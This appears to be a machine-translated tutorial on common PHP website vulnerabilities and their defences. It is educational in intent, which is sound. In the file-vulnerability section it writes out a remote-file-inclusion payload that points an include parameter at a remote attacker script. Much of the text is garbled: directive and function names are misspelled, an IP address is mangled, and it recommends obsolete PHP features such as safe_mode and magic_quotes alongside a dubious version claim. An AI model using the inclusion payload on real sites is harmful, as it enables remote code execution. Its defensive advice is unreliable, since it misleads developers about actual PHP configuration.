Common security vulnerabilities and defense methods for PHP websites_PHP tutorial

Common security vulnerabilities and defense methods of PHP websites

At present, website development based on PHP has become the mainstream of current website development. The author of this article focuses on exploring PHP website attacks and security prevention, aiming to reduce website vulnerabilities. I hope it will be helpful to everyone!

1. Common PHP website security vulnerabilities

Regarding PHP vulnerabilities, there are currently five common vulnerabilities. They are Session file vulnerabilities, SQL injection vulnerabilities, script command execution vulnerabilities, global variable vulnerabilities and file vulnerabilities. Here is a brief introduction to each of these vulnerabilities.

1. Session file vulnerability

Session attack is one of the most commonly used attack methods by hackers. When a user visits a certain website, in order to prevent the customer from entering their account number and password every time they enter a page, PHP sets Session and Cookie to facilitate the user's use and access.

2. SQL injection vulnerability

During website development, programmers lacked comprehensive judgment on user input data or did not filter it strictly, causing the server to execute some malicious information, such as user information queries. Hackers can obtain corresponding information based on the results returned by malicious programs. This is the SQL injection vulnerability of Yuexingwei.

3. Script execution vulnerability

A common cause of script execution vulnerabilities is that programmers do not filter the URL parameters submitted by users when developing websites. The URLs submitted by users may contain malicious code, leading to cross-site scripting attacks. Script execution vulnerabilities often existed in previous PHP websites, but with the upgrade of PHP versions, these problems have been reduced or no longer exist.

4. Global variable vulnerability

Variables in PHP do not need to be declared in advance like other development languages. Variables in PHP can be used directly without declaration. The system automatically creates them when used, and there is no need to explain the variable type. The system automatically determines the variable type based on the context. This method can greatly reduce the probability of programmers making mistakes in programming and is very convenient to use.

5. File vulnerability

File vulnerabilities are usually caused by website developers' lack of adequate filtering of externally provided data when designing websites, which allows hackers to exploit the vulnerabilities to execute corresponding commands on the web process. If lsm.php contains such a piece of code: include($b.”/aaa.php”.), for hackers, remote attacks can be achieved through the variable $b, which can be the hacker’s own code. Implement attacks on websites. You can submit a.php include=http://lZ7.0.0.1/b.php to the server, and then execute the instructions of b.php.

2. Preventive measures for common PHP vulnerabilities

1. Prevention of Session Vulnerabilities

From the previous analysis, we can know that the most common Session attack is session hijacking, that is, hackers obtain the user's Session ID through various attack methods, and then use the identity of the attacked user to log in to the corresponding website. For this reason, the following methods can be used to prevent it: First, change the Session ID regularly. Changing the Session ID can be achieved by using PHP's own function; second, change the Session name. Normally, the default name of the Session is PHPSESSID. This variable It is generally saved in a cookie. If its name is changed, it can block some attacks by hackers; the third is to close the transparent Session ID. The so-called transparency means that no cookies are used to formulate the HTTP request. When using the Session ID, the Session ID is passed using a link. Turning off the transparent Session ID can be achieved by operating the PHP.ini file; the fourth is to pass hidden parameters through the URL, which ensures that even if a hacker obtains the session data, the related parameters are hidden Yes, it's also difficult to get the Session ID variable value.

2. Prevention of SQL injection vulnerabilities

There are many ways for hackers to perform SQL injection, and they are flexible and changeable. However, what SQL injection has in common is the use of input filtering vulnerabilities. Therefore, in order to fundamentally prevent SQL injection, the fundamental solution is to strengthen the filtering of request commands, especially query request commands. Specifically, it includes the following points: First, the filtering statement is parameterized, that is, user information input is realized through parameterized statements instead of directly embedding user input into the statement. The second is to use as few interpretive programs as possible when developing the website. Hackers often use this method to execute illegal commands; the third is to avoid bugs in the website as much as possible when developing the website, otherwise hackers may use this information to attack the website; just It is not enough to defend against SQL injection. In addition, professional vulnerability scanning tools must be frequently used to scan the website for vulnerabilities.

3. Prevention of script execution vulnerabilities

The means by which hackers use script execution vulnerabilities to attack are diverse and flexible. In this regard, a combination of multiple prevention methods must be used to effectively prevent hackers from attacking script execution vulnerabilities. There are the following four methods commonly used here. One is to pre-set the path of the executable file. This can be achieved through safe_moade_exec_dir; the second is to process the command parameters, usually using the escapeshellarg function; the third is to use the system's own function library to replace external commands; the fourth is to reduce the use of external commands during operation.

4. Prevent global variable vulnerabilities

Regarding the vulnerability of PHP global variables, the previous PHP version had such a problem, but after the PHP version is upgraded to 5.5, it can be realized by setting php.ini and setting ruquest_order to GPC. In addition, in the php.ini configuration file, you can set a Boolean value for Magic_quotes_runtime to set whether to add backslashes to overflow characters in external quoted data. In order to ensure that the website program can run in any setting state of the server. You can use get_magic_quotes_runtime to detect the setting status at the beginning of the entire program to decide whether to handle it manually, or use set_magic_quotes_runtime(0) to turn it off at the beginning (or when automatic escaping is not needed).

5. Prevention of file vulnerabilities

For PHP file leakage, you can prevent it by setting and configuring the server. The specific operations here are as follows: first, turn off the error prompts in the PHP code, which can prevent hackers from obtaining database information and web page file physical paths through error prompts; second, carefully set open_basedir, which means prohibiting file operations outside the directory. Processing; This can protect local files or remote files to prevent them from being attacked. Here we also need to pay attention to preventing attacks on Session files and uploaded files; third, set safe-made to on to prevent the commands to be executed. Standardize and prohibit file uploads, which can effectively improve the security factor of PHP websites.

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